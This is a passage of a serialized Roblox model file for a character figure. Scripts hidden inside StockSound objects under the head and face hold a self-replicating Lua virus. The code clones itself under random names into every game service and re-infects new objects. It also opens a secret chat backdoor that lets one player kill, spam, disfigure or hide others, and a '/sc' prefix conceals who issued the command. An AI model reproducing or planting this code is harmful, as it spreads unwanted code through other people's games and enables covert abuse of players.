if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX221">
				<Properties>
					<token name="Controller">7</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Figure</string>
					<Ref name="PrimaryPart">RBX222</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX222">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-11.3453588</X>
							<Y>4.80462408</Y>
							<Z>-8.75619125</Z>
							<R00>-0.313818604</R00>
							<R01>-0.0172081571</R01>
							<R02>-0.949327052</R02>
							<R10>-0.000132629575</R10>
							<R11>0.999836564</R11>
							<R12>-0.0180798844</R12>
							<R20>0.949482977</R20>
							<R21>-0.00554789416</R21>
							<R22>-0.313769609</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX223">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.25</X>
								<Y>1.25</Y>
								<Z>1.25</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX224">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2p9wkr5c</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX225">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ff7l</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX226">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">face</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX227">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3b3i6j</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX228">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">hi455</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
